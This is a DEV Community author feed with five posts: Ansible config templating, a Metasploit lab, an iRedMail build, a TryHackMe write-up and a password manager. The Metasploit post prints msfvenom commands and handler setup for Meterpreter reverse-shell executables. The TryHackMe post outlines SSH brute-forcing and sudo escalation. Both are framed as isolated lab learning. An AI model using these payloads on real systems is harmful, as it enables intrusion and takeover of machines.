DEV Community: Vibhav Chennamadhava

I Stopped Typing Switch Configs by Hand (Ansible + My CCNA Lab)

Vibhav Chennamadhava — Wed, 23 Sep 2026 01:30:22 +0000

From 584 lines of hand-typed IOS to one YAML edit per change

Six devices. 584 lines of config. Zero typed by hand.

Well... the second time. 😅

Why I did this

A while back I built a full enterprise campus network for the CCNA in Cisco Packet Tracer. Core, distribution and access layers, OSPF, HSRP, EtherChannel, NAT, ACLs, DHCP snooping, Dynamic ARP Inspection, IPv6, a wireless LAN controller. The whole thing.

Every single line was typed into a CLI. By me. One device at a time.

So what's the issue? The issue is that every job posting I read says "network automation", and I had never automated anything on this lab. Saying I know automation when all I've done is type commands felt wrong.

So I rebuilt the lab as code. Here is what that looked like, what broke, and what I learned.

The idea in one sentence

Describe the network as data, and let a template write the config.

If you've ever done a mail merge, you already get it. You have a letter with blanks like Dear {{ name }} and a spreadsheet of names. Merge them and you get 100 personalized letters.

Here it's the same thing:

The spreadsheet = YAML files describing each device (VLANs, IPs, HSRP, OSPF)
The letter = Jinja2 templates that look almost exactly like Cisco config
The merge button = Ansible

1. Describe the network as data

Here is VLAN 10 on one of my distribution switches, written as YAML:

- name: Vlan10
  ipv4: 10.1.0.2 255.255.255.0
  ospf: true
  ospf_passive: true
  hsrp: {group: 2, vip: 10.1.0.1, priority: 105, preempt: true}
  acl_in: OfficeA_to_OfficeB

No interface, no standby, no ip helper-address. Just facts about the interface.

Settings every device shares (DNS, NTP, syslog, SSH hardening) live in one file. Change the syslog server once and every device picks it up.

2. Let the template write the config

That YAML gets rendered into this:

interface Vlan10
 description PCs
 ip address 10.1.0.2 255.255.255.0
 ip helper-address 10.0.0.76
 standby version 2
 standby 2 ip 10.1.0.1
 standby 2 priority 105
 standby 2 preempt
 ip access-group OfficeA_to_OfficeB in

The description comes from the VLAN name. The DHCP relay gets added because it's a distribution switch. I didn't type any of it.

It also adds lines to other parts of the config:

network 10.1.0.2 0.0.0.0 area 0 and passive-interface Vlan10 under OSPF
spanning-tree vlan 10,99 priority 0, because this switch is the HSRP active gateway for VLAN 10, so it should also be the STP root

Pro Tip: That last one is my favorite. "STP root follows HSRP" is a design rule you learn for the CCNA. Now it's enforced in code, so the two can never drift apart.

3. The plot twist: Packet Tracer says no

My plan was simple. Write the templates, then let Ansible SSH into each device and push the config.

Packet Tracer does not accept SSH connections from outside the app. At all.

So Ansible can't push to my lab. Pretty big problem for an automation project!

Instead of giving up, I changed the question from "can I push it?" to "can I prove the templates are correct?"

4. Proving it: the drift check

I already had the hand-built configs from the original lab saved in the repo. So I wrote a checker that compares the configs the templates generate against those originals.

The result:

Device	Role	Lines rendered	Status
R1	Edge router	119	✅ MATCH
CSW1	Core	81	✅ MATCH
DSW-A1	Distribution	125	✅ MATCH
DSW-B1	Distribution	120	✅ MATCH
ASW-A1	Access	74	✅ MATCH
ASW-B1	Access	65	✅ MATCH

6 of 6 devices, zero drift. The templates recreate the lab I built by hand.

Note: It's not a plain text diff. Cisco doesn't care what order most commands are in, but it does care about the order of ACL entries. So the checker ignores order everywhere except inside ACLs.

To make sure it wasn't just saying "looks good!" to everything, I broke a config on purpose. I changed an HSRP priority, swapped two ACL lines and deleted a VLAN. It caught all three.

It also caught a real mistake in my original build: two access switches had enable secret and username admin typed twice. IOS doesn't mind, but the generated configs are clean. Automation 1, manual typing 0.

5. Where it gets good: adding a VLAN

Let's say I need a Guest VLAN. By hand, that means:

Create the VLAN
Create the SVI with an IP, DHCP relay and HSRP
Add the VLAN to every trunk
Update STP root priorities
Add the network to OSPF and make it passive

Forget step 3 on one trunk and guests can't get an IP. Forget step 5 and it's a routing mystery at 2 AM.

With the templates, it's 7 lines of YAML:

 vlans:
   - {id: 40, name: Wi-Fi}
+  - {id: 50, name: Guest}

+  - name: Vlan50
+    ipv4: 10.7.0.2 255.255.255.0
+    ospf: true
+    ospf_passive: true
+    hsrp: {group: 5, vip: 10.7.0.1}

And those 7 lines produce 15 correct IOS changes: the VLAN, the SVI with HSRP and DHCP relay, 4 trunks, the STP priority, and 2 OSPF lines. You can't forget a step when there's only one step.

6. Safety rails (because networks are scary)

The deploy playbook is ready for real gear, and it's built to be hard to misuse:

Dry run by default. It shows what each device would receive. You have to type apply=true to actually push.
No passwords in Git. Real secrets come from an encrypted Ansible Vault file. If a placeholder password is still in the config, it refuses to push.
Backup first. Every device's running config is saved before anything changes.
One device at a time. If one fails, the rollout stops.

7. A green checkmark on every commit

GitHub Actions runs on every push:

✅ YAML lint
✅ Ansible lint (strictest "production" profile)
✅ Syntax check on every playbook
✅ Render all configs + drift check

If someone (me) edits the YAML and breaks something, the badge turns red before it ever gets near a switch.

What I learned

Automation isn't about typing faster. It means every change gets reviewed, can be repeated, and provably matches the design.
Prove it before you push it. The drift check was worth more than the deploy playbook. It's the part that makes me trust everything else.
Be honest about what's tested. Deploy and verify haven't touched a live device yet, and the README says so. I'd rather say that in an interview than get caught overselling.

What's next

Rebuilding a few devices in Cisco Modeling Labs (which has real IOS and real SSH) so I can run the full push → verify → backup loop for real. When that works, expect a part 2. 👀

That is it. It's not perfect, and there's a good chance a network engineer reading this has a better way to do half of it. If so, please tell me!

If you want to dig into the code, here's the repo:

GitHub: https://github.com/VibhavChennamadhava/CCNA-Enterprise-Campus-Mega-Lab

Question for the comments: have you automated a home lab? What did you use: Ansible, Nornir, Netmiko, something else? I'd love to hear what worked (and what didn't)!

Questions or comments? Love to hear from you!

Metasploit Deep Dive: Staged vs. Stageless Payloads — A Practical Lab

Vibhav Chennamadhava — Fri, 16 Jan 2026 05:26:44 +0000

Metasploit Deep Dive: Staged vs. Stageless Payloads
If you’re learning Metasploit, you’ve probably typed one of these without thinking too hard:

windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
They look almost identical. One slash. One underscore. Easy to copy-paste, easy to forget.

I used to treat them the same way—until I actually built a lab to see what really happens under the hood. And that’s where things got interesting.

This article walks through a hands-on lab where I compared staged vs. stageless payloads, broke a few things along the way, and finally understood why this distinction matters in real attacks.

Why This Difference Matters (Especially for Beginners)
Early on, it’s tempting to think exploitation is about memorizing commands. Run msfvenom, start a handler, wait for a session.

But the real skill isn’t in typing commands — it’s in understanding how payloads are delivered, what can fail, and why one payload works while another dies silently.

Staged vs. stageless payloads are a perfect example of this.

The Lab Setup (Nothing Fancy, Just Real)
For this project, I kept the environment simple and realistic:

Attacker: Kali Linux with Metasploit Framework

Target: Windows VM

Network: Host-only / internal lab network

Delivery: Payload hosted via Apache

Goal:

Get a Meterpreter session

Perform post-exploitation (recon + admin account creation)

Everything was done in an isolated lab I control.

Payload Theory (Quick, Practical Version)
Before touching commands, here’s the mental model that finally clicked for me:

🧩 Staged Payload
Small initial payload (the “stager”)

Connects back to the attacker

Downloads the full Meterpreter stage into memory

Pros:

Smaller executable

Flexible, modular

Cons:

If the second stage is blocked → session dies

🧱 Stageless Payload
Entire payload bundled into one executable

No second-stage download

Pros:

More reliable in restricted networks

Fewer moving parts

Cons:

Larger file

Easier to flag by AV

Same goal. Very different delivery.

Part 1: The Staged Payload Attack
Generating the Payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o staged.exe
This payload is intentionally small. It’s not Meterpreter yet — it’s just enough code to call home and ask for the rest.

Setting the Handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
Important:
If the payload here doesn’t exactly match what you used in msfvenom, nothing works. No errors. No warnings. Just… nothing.

I learned that the hard way.

Execution & Session
Once the victim runs the executable, the stager connects back, pulls the full Meterpreter payload, and opens a session.

When it works, it feels great.

When it doesn’t, you’re staring at logs wondering what you broke.

Part 2: The Stageless Payload Attack
Now for the underscore payload.

Generating the Payload
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o stageless.exe
This time, everything is baked into one file.

Handler Setup
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
When the victim executes this payload, the session opens immediately. No staging. No second download.

In restrictive environments, this difference matters a lot.

Post-Exploitation: What We Did After Access
Once Meterpreter was live, I treated this like a real post-exploitation scenario:

System enumeration (sysinfo)

Dropping into a shell

Creating a new administrator account

Running local exploit suggestion modules

This part matters because exploitation isn’t the finish line — it’s the starting point.

The “Aha” Moment
The biggest takeaway wasn’t the commands.

It was realizing that:

Payload choice affects reliability

Network controls affect staging

A “session closed” error usually means delivery failed, not “Metasploit is broken”

Once you understand that, debugging becomes logical instead of frustrating.

Common Frustrations (That I Definitely Hit)
❌ Session opens then immediately closes

❌ No callback because LHOST was wrong

❌ Firewall silently blocking staged payloads

❌ Payload/handler mismatch

These aren’t beginner mistakes — they’re normal. What matters is knowing where to look and why it failed.

So… Which Payload Should You Use?
There’s no universal answer.

Staged payloads ->Smaller, More flexible, Risky in filtered networks

Stageless payloads-> Larger, More reliable, Easier to detect

Good attackers (and good defenders) understand both.

Final Thoughts
If you’re learning Metasploit, don’t stop at “I got a session.”

Build labs where:

Things break

Sessions fail

You have to reason through why

That’s where real skill develops.

I’ve documented the full lab — commands, screenshots, and walkthrough — here:
👉 GitHub Repo:
https://github.com/VibhavChennamadhava/Metasploit-Staged-vs-Stageless-Payloads

Build this lab yourself. Break it. Fix it.
That’s how it sticks.

Built My Own SMTP Mail Server using iRedMail

Vibhav Chennamadhava — Fri, 16 Jan 2026 02:20:57 +0000

I Built My Own SMTP Mail Server (and Learned Why Email Is Hard)
Email feels boring. It’s just… there. You sign up for a service, you get a verification link, life moves on. But at some point I realized something embarrassing for someone who likes networking and security:

I had never actually built an email server.

So I decided to fix that.

This post is about how I built a fully working SMTP mail server from scratch on a VPS, wired it to my own domain, fought DNS demons, broke TLS configs, landed in Gmail spam, and eventually saw that beautiful moment where an external reply landed back in my inbox.

This wasn’t about production readiness or scaling.
This was about learning how email actually works under the hood.

The Why: “I Should Probably Know This”
If you’re into backend, security, or infrastructure, email keeps popping up:

Password resets

Alerts

Phishing detection

SPF / DKIM / DMARC checks in security tools

Mail logs in incident response

And yet, most of us just treat it as a black box.

I wanted to understand

What actually happens when you hit “Send”

Why emails get marked as spam

Why everyone warns you: “Don’t run your own mail server”

So I did exactly that. 😅

What I Built (High-Level)
I set up a real SMTP mail server for my domain:

Domain: vibinsec.live

Mail host: mail.vibinsec.live

Stack: iRedMail on Ubuntu (Postfix + Dovecot + friends)

Webmail: Roundcube

Admin panel: iRedAdmin

TLS: Let’s Encrypt

Auth: SPF, DKIM, DMARC

Reverse DNS (PTR): Configured at the VPS provider

And most importantly:

✅ Sent mail to Gmail
✅ Received replies back
✅ End-to-end email flow actually worked

No mock servers. No localhost-only magic.

The Architecture (a.k.a. “So Many Moving Parts”)
Here’s what’s really running when you say “mail server”:

Postfix – handles SMTP (sending & receiving mail)

Dovecot – handles IMAP (reading mail)

Amavis / DKIM tools – signs outgoing mail

Nginx – serves Roundcube and admin panels

DNS – A, MX, TXT records doing half the trust work

TLS – not just for HTTPS, but SMTP and IMAP too

Nothing here is conceptually insane.
But the integration is where the pain lives.

The Juicy Part: The Struggles
This project humbled me. Repeatedly.

DNS Is Where Hope Goes to Die Setting up:

A record

MX record

SPF

DKIM

DMARC

…sounds straightforward until you realize:

One typo = silent failure

Propagation delays make debugging awful

Every provider has a slightly different UI

I spent a lot of time thinking something was broken when it was just DNS not updating yet.

Skill gained:
Real-world DNS troubleshooting and patience I didn’t know I needed.

Reverse DNS (PTR) Is Not Optional I learned this the hard way.

Everything looked right.
SPF? Good.
DKIM? Signed.
TLS? Enabled.

Still landing in spam.

Turns out:

If your server IP doesn’t reverse-resolve to your mail hostname, many providers don’t trust you.

Configuring PTR records meant going into the VPS provider’s dashboard, not my domain registrar. That mental context switch was easy to miss.

Lesson: Email trust is reputation-based and unforgiving.

TLS Everywhere (Not Just the Website) I thought:

“Cool, Let’s Encrypt for HTTPS. Done.”

Nope.

Mail servers need TLS for:

SMTP (Postfix)

IMAP (Dovecot)

Webmail (Nginx)

That meant manually pointing each service to the right cert paths and restarting everything without breaking it.

One wrong file path = service won’t start.

Skill gained:
Reading logs instead of guessing.
Seriously, mail logs are your lifeline.

DKIM: Cryptography Meets Copy-Paste Fear DKIM was one of those moments where you know it’s important, but it still feels sketchy:

Extract public key from the server

Add it as a TXT record

Hope nothing is truncated

Wait for DNS

Test again

When it finally validated, I actually felt relief.

Skill gained:
Understanding how cryptographic trust is applied at the protocol level, not just theory.

Spam Happens (Even When You Do Everything Right) My first Gmail test landed in spam.

Honestly? That was expected.

New domain.
New IP.
Zero reputation.

This taught me something important:
Correct configuration doesn’t guarantee trust. Time does.

What I Actually Learned (Hard + Soft Skills)
Hard Skills
SMTP, IMAP, and how they interact

Postfix and Dovecot basics

DNS beyond “add an A record”

SPF / DKIM / DMARC in practice

TLS for non-HTTP services

Reading and trusting system logs

Soft Skills
Debugging layered systems

Slowing down instead of randomly changing configs

Accepting that some problems just need time (DNS, reputation)

Not panicking when email disappears into the void

Proof It Worked (The Best Part)
The moment that mattered:

Sent an email from Roundcube

Saw it arrive externally

Got a reply

Watched it land back in my inbox

That’s when it clicked.

“Oh. This is the entire email system. I built this.”

Would I Run This in Production?
Absolutely not. 😄
Running mail servers long-term is a responsibility I respect a lot more now.

But as a learning project?

This was gold.

What I’d Improve Next
If I take this further:

Automated TLS renewals + service reloads

Better spam filtering visibility

Monitoring and alerting on mail queues

IPv6 tuning and reputation management

Final Thoughts
If you’re into backend, infra, or security and you’ve never built a mail server, I honestly recommend doing it once.

Not because it’s fun (it’s not).
Not because it’s easy (it isn’t).

But because email touches everything, and understanding it makes you a better engineer.

If you want the full step-by-step lab with screenshots, configs, and commands, the full README is here:
👉 GitHub: https://github.com/VibhavChennamadhava/Designing-an-SMTP-Mail-Server-Using-iRedMail

If you try this yourself:
Good luck.
Read the logs.
And don’t forget the PTR record. 😄

Brooklyn99 pwned!

Vibhav Chennamadhava — Wed, 14 Jan 2026 05:14:58 +0000

Rooting the Brooklyn Nine Nine TryHackMe Room – My experience,
I recently completed the Brooklyn Nine Nine room on TryHackMe, and it turned out to be a really solid box that reinforces the importance of enumeration, patience, and chaining small misconfigurations to get full control of a system.

Recon & Enumeration
Firstly, I started with an Nmap scan to understand what I was dealing with. The scan revealed three open ports:

21 (FTP) with anonymous login enabled

22 (SSH)

80 (HTTP) running Apache

Seeing anonymous FTP tingled my bells immediately for entry.

FTP Access
Logging into the FTP service as anonymous worked without any issues. Inside, I found a file called note_to_jake.txt. After downloading and reading it locally, the note warned Jake about using a weak password — a clear hint that brute-forcing SSH might be viable.

Cracking SSH
Using that hint, I ran Hydra against the SSH service with the rockyou.txt wordlist. Sure enough, Jake’s password was extremely weak and easy had that in less than 2 min with valid credentials in hand, I logged in as jake via SSH.

User Flag
Once logged in, I began enumerating the system. Checking the /home directory revealed multiple users, including holt. Inside Holt’s home directory, I found and captured the user flag.

Privilege Escalation
The next step was escalating privileges. Running sudo -l showed that Jake could run /usr/bin/less as root. This was it.

By using less with sudo, I was able to access /root/root.txt and effectively gain root-level access, completing the box and grabbing the root flag.

I came to know that the room could also be solved a different way
if you guys know lmk~

This room was a great reminder that:

Enumeration is everything

Weak passwords are still a real-world problem

Small sudo misconfigurations can lead directly to root

Overall, Brooklyn Nine Nine was a fun and educational challenge

Nine-Nine. 🚓

Building a Secure Password Manager

Vibhav Chennamadhava — Sat, 03 Jan 2026 18:36:30 +0000

Building a Secure Password Manager in Python (AES-256, Tkinter)
Python 3.9+
Security: AES-256-GCM

Overview

This project is a secure desktop password manager built using Python and Tkinter, designed to store and manage credentials locally using strong encryption and secure UX patterns.

The goal was to design the application with security-first principles, similar to real-world password managers, while keeping the implementation understandable and auditable.
GitHub Repo: [🔗 GitHub Repo: https://github.com/VibhavChennamadhava/Password_manager]

Core Design

High-level flow:

Master Password
PBKDF2 Key Derivation
AES-256-GCM Encryption
Encrypted Vault File (vault.enc)

Key rules enforced:

Master password is never stored
Passwords are never written to disk in plaintext
Vault is decrypted only in memory
Passwords are never auto-displayed

Cryptography Implementation

Key Derivation

PBKDF2 (SHA-256) with a randomly generated salt
High iteration count to slow brute-force attacks
Produces a 256-bit key for encryption

Encryption

AES-256-GCM for authenticated encryption
Provides confidentiality and integrity
Any tampering with the vault file causes decryption to fail

The encrypted vault is stored locally as a single file named vault.enc.

Vault Design

Vault is stored as encrypted JSON
Exists only in memory after login
Entire vault is encrypted as one unit
No partial or plaintext storage

{ "entries": [ { "site": "facebook", "username": "testuser", "password": "secret123" } ] }

User Interface (Tkinter)

The UI was built using Tkinter for simplicity and security.

Screens:

Login Screen – Master password authentication
Vault Screen – Displays only site and username
Add Password Screen – Secure input with toggle

Passwords are never shown by default.

Show / Hide Password Toggle

While adding a new password, users can toggle visibility to verify input:

Password masked by default
Toggle affects only input field
No exposure in the main vault view

This prevents shoulder surfing while keeping usability intact.

Viewing Passwords (Explicit Action Only)

Passwords are revealed only when the user:

Selects an entry
Clicks View Password

This ensures:

No accidental exposure
Clear user intent
Secure UX behavior aligned with real password managers

One-Click Copy and Auto-Clear Clipboard

Instead of forcing users to view passwords:

Copy Password button copies the password to clipboard
Clipboard auto-clears after 15 seconds

This reduces screen exposure and mitigates clipboard leakage risks.

Security Highlights

AES-256-GCM encryption
PBKDF2 key derivation
No plaintext passwords on disk
Decryption only in memory
No logging of secrets
Clipboard auto-clear
Explicit password access

This design mirrors security patterns used by tools like KeePass and Bitwarden.

Project Structure

PasswordManager

password_manager.py (encryption and vault logic)
ui.py (Tkinter UI)
vault.enc (encrypted vault, auto-created)
salt.bin (cryptographic salt)
screenshots/
README.md

PasswordManager UI:
🔐 Login Screen
Secure master password authentication to unlock the encrypted vault.

➕ Add New Password
Add website credentials with a secure password input and show/hide toggle.

Vault View
View saved accounts, securely retrieve passwords, or copy them with auto-clear clipboard protection.

It serves as a practical example of applying cryptographic fundamentals to a real desktop application.

GitHub Repo: [🔗 GitHub Repo: https://github.com/VibhavChennamadhava/Password_manager]